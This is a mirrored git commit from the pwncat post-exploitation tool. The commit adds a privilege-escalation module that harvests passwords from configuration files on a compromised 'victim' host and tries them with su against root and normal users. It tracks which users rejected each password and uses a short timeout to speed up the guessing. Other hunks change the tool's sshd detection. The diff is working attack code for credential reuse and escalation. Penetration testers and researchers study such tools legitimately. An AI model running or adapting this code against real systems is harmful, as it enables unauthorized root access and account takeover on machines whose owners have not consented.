mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 10:54:14 +01:00
Added ability to attempt enumerated passwords during privesc
This commit is contained in:
parent
1f278bb5cc
commit
725f47f387
@ -3,11 +3,12 @@ import pkgutil
|
||||
from typing import Generator, Callable, Any
|
||||
|
||||
import sqlalchemy
|
||||
from sqlalchemy.ext.mutable import Mutable
|
||||
|
||||
import pwncat
|
||||
|
||||
|
||||
class FactData:
|
||||
class FactData(Mutable):
|
||||
def __str__(self):
|
||||
return "unknown"
|
||||
|
||||
@ -15,6 +16,11 @@ class FactData:
|
||||
def description(self):
|
||||
return None
|
||||
|
||||
def __getstate__(self):
|
||||
d = self.__dict__.copy()
|
||||
d.pop("_parents", None)
|
||||
return d
|
||||
|
||||
|
||||
class Enumerate:
|
||||
""" Abstract fact enumeration class for the victim. This abstracts
|
||||
|
@ -2,7 +2,7 @@
|
||||
import dataclasses
|
||||
import os
|
||||
import re
|
||||
from typing import Generator, Optional
|
||||
from typing import Generator, Optional, List
|
||||
|
||||
from colorama import Fore
|
||||
|
||||
@ -10,7 +10,7 @@ import pwncat
|
||||
from pwncat.enumerate import FactData
|
||||
|
||||
name = "pwncat.enumerate.passwords"
|
||||
provides = "passwords"
|
||||
provides = "configuration.password"
|
||||
per_user = True
|
||||
always_run = False
|
||||
|
||||
@ -22,6 +22,8 @@ class Password(FactData):
|
||||
value: Optional[str]
|
||||
lineno: int
|
||||
line: str
|
||||
# users which we know *dont* have this password
|
||||
invalid: List[str]
|
||||
|
||||
def __str__(self):
|
||||
if self.value is not None:
|
||||
@ -111,4 +113,4 @@ def enumerate() -> Generator[FactData, None, None]:
|
||||
|
||||
# This was a match for the search. We may have extracted a
|
||||
# password. Either way, log it.
|
||||
yield Password(path, password, lineno, ":".join(line))
|
||||
yield Password(path, password, lineno, ":".join(line), [])
|
||||
|
@ -301,15 +301,15 @@ class Finder:
|
||||
for technique in techniques:
|
||||
if Capability.SHELL in technique.capabilities:
|
||||
try:
|
||||
util.progress(f"attempting {technique}")
|
||||
|
||||
# Attempt our basic, known technique
|
||||
shlvl = pwncat.victim.getenv("SHLVL")
|
||||
exit_script = technique.method.execute(technique)
|
||||
pwncat.victim.flush_output(some=True)
|
||||
|
||||
# Reset the terminal to ensure we are stable
|
||||
time.sleep(0.1) # This seems inevitable for some privescs...
|
||||
pwncat.victim.reset()
|
||||
pwncat.victim.reset(hard=False)
|
||||
|
||||
# Check that we actually succeeded
|
||||
current = pwncat.victim.update_user()
|
||||
@ -318,6 +318,7 @@ class Finder:
|
||||
technique.user == pwncat.victim.config["backdoor_user"]
|
||||
and current == "root"
|
||||
):
|
||||
util.progress(f"{technique} succeeded!")
|
||||
pwncat.victim.flush_output()
|
||||
return technique, exit_script
|
||||
|
||||
@ -334,7 +335,9 @@ class Finder:
|
||||
# Clean up whatever mess was left over
|
||||
pwncat.victim.flush_output()
|
||||
|
||||
pwncat.victim.reset()
|
||||
pwncat.victim.reset(hard=False)
|
||||
|
||||
shlvl = pwncat.victim.getenv("SHLVL")
|
||||
|
||||
# The privesc didn't work, but didn't throw an exception.
|
||||
# Continue on as if it hadn't worked.
|
||||
@ -402,52 +405,18 @@ class Finder:
|
||||
|
||||
return writer, "exit"
|
||||
|
||||
util.progress(f"checking for local {Fore.RED}sshd{Fore.RESET} server")
|
||||
|
||||
if len(writers) == 0 and len(readers) == 0:
|
||||
raise PrivescError("no readers and no writers. ssh privesc impossible")
|
||||
|
||||
# Check if there is an SSH server running
|
||||
sshd_running = False
|
||||
ps = pwncat.victim.which("ps")
|
||||
if ps is not None:
|
||||
sshd_running = (
|
||||
b"sshd" in pwncat.victim.subprocess("ps -o command -e", "r").read()
|
||||
)
|
||||
else:
|
||||
pgrep = pwncat.victim.which("pgrep")
|
||||
if pgrep is not None:
|
||||
sshd_running = (
|
||||
pwncat.victim.subprocess("pgrep 'sshd'", "r").read().strip() != b""
|
||||
)
|
||||
for fact in pwncat.victim.enumerate.iter("system.service"):
|
||||
util.progress("enumerating services: {fact.data}")
|
||||
if "sshd" in fact.data.name and fact.data.state == "running":
|
||||
sshd_running = True
|
||||
|
||||
try:
|
||||
with pwncat.victim.open("/proc/net/tcp", "r") as filp:
|
||||
for line in filp.readlines()[1:]:
|
||||
line = line.strip().split()
|
||||
local_addr = line[1].split(":")
|
||||
remote_addr = line[2].split(":")
|
||||
local_addr = (
|
||||
(int(local_addr[0], 16)),
|
||||
(int(local_addr[1], 16)),
|
||||
)
|
||||
remote_addr = (
|
||||
(int(remote_addr[0], 16)),
|
||||
(int(remote_addr[1], 16)),
|
||||
)
|
||||
# Found the SSH socket! Save the listening address
|
||||
if local_addr[1] == 22 and remote_addr[0] == 0:
|
||||
sshd_listening = True
|
||||
sshd_address = str(ipaddress.ip_address(local_addr[0]))
|
||||
break
|
||||
else:
|
||||
# We didn't find an SSH socket
|
||||
sshd_listening = False
|
||||
sshd_address = None
|
||||
except (PermissionError, FileNotFoundError, IndexError):
|
||||
# We couldn't verify one way or the other, just try it
|
||||
if sshd_running:
|
||||
sshd_listening = True
|
||||
sshd_address = "0.0.0.0"
|
||||
sshd_address = "127.0.0.1"
|
||||
else:
|
||||
sshd_listening = False
|
||||
sshd_address = None
|
||||
|
||||
used_technique = None
|
||||
|
||||
|
98
pwncat/privesc/facts/config-password.py
Normal file
98
pwncat/privesc/facts/config-password.py
Normal file
@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
|
||||
from colorama import Fore
|
||||
from sqlalchemy.orm.attributes import flag_dirty, flag_modified
|
||||
|
||||
from pwncat import util
|
||||
from pwncat.gtfobins import Capability
|
||||
from pwncat.privesc import BaseMethod, PrivescError, Technique
|
||||
import pwncat
|
||||
|
||||
|
||||
class Method(BaseMethod):
|
||||
"""
|
||||
Enumerate passwords in configuration files and attempt them on standard
|
||||
users (UID >= 1000) and root.
|
||||
|
||||
This restricts enumerated passwords to those with >= 6 characters. Also
|
||||
if a password is greater than 15 characters, it cannot contain more than 3 words.
|
||||
This rationale is for two reason. Firstly, users who choose passwords
|
||||
with spaces normally choose two or three words. Further, automated
|
||||
passwords normally do not contain spaces (or at least not many of them).
|
||||
"""
|
||||
|
||||
name = "configuration-password"
|
||||
BINARIES = ["su"]
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
"""
|
||||
Enumerate capabilities for this method.
|
||||
|
||||
:param capability: the requested capabilities
|
||||
:return: a list of techniques implemented by this method
|
||||
"""
|
||||
|
||||
# We only provide shell capability
|
||||
if Capability.SHELL not in capability:
|
||||
return []
|
||||
|
||||
seen_password = []
|
||||
|
||||
techniques = []
|
||||
for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
|
||||
util.progress(f"enumerating password facts: {str(fact.data)}")
|
||||
if fact.data.value is None:
|
||||
continue
|
||||
|
||||
if fact.data.value in seen_password:
|
||||
continue
|
||||
|
||||
if len(fact.data.value) < 6:
|
||||
continue
|
||||
|
||||
if len(fact.data.value.split(" ")) > 3:
|
||||
continue
|
||||
|
||||
for _, user in pwncat.victim.users.items():
|
||||
# This password was already tried for this user and failed
|
||||
if user.name in fact.data.invalid:
|
||||
continue
|
||||
# We already know the password for this user
|
||||
if user.password is not None:
|
||||
continue
|
||||
if (
|
||||
user.id == 0 and user.name != pwncat.victim.config["backdoor_user"]
|
||||
) or user.id >= 1000:
|
||||
techniques.append(
|
||||
Technique(user.name, self, fact, Capability.SHELL)
|
||||
)
|
||||
|
||||
seen_password.append(fact.data.value)
|
||||
|
||||
util.erase_progress()
|
||||
|
||||
return techniques
|
||||
|
||||
def execute(self, technique: Technique) -> bytes:
|
||||
"""
|
||||
Escalate to the new user and return a string used to exit the shell
|
||||
|
||||
:param technique: the technique to user (generated by enumerate)
|
||||
:return: an exit command
|
||||
"""
|
||||
|
||||
# Escalate
|
||||
try:
|
||||
pwncat.victim.su(technique.user, technique.ident.data.value)
|
||||
except PermissionError as exc:
|
||||
# Don't try this again, and mark it as dirty in the database
|
||||
technique.ident.data.invalid.append(technique.user)
|
||||
flag_modified(technique.ident, "data")
|
||||
pwncat.victim.session.commit()
|
||||
raise PrivescError(str(exc))
|
||||
|
||||
return "exit\n"
|
||||
|
||||
def get_name(self, tech: Technique) -> str:
|
||||
return f"{Fore.YELLOW}possible{Fore.RESET} password ({Fore.BLUE}{repr(tech.ident.data.value)}{Fore.RESET})"
|
@ -1362,6 +1362,11 @@ class Victim:
|
||||
raise PermissionError("no password provided and whoami != root!")
|
||||
|
||||
if current_user["uid"]["id"] != 0:
|
||||
|
||||
# We try to use the `timeout` command to speed up the case where
|
||||
# the attempted password is incorrect. If it doesn't exist, we
|
||||
# just use a regular `su`, which will take a couple seconds to
|
||||
# timeout depeding on your authentication settings.
|
||||
timeout = self.which("timeout")
|
||||
if timeout is not None:
|
||||
command = f'timeout 0.5 su {user} -c "echo good" || echo failure'
|
||||
|
Loading…
Reference in New Issue
Block a user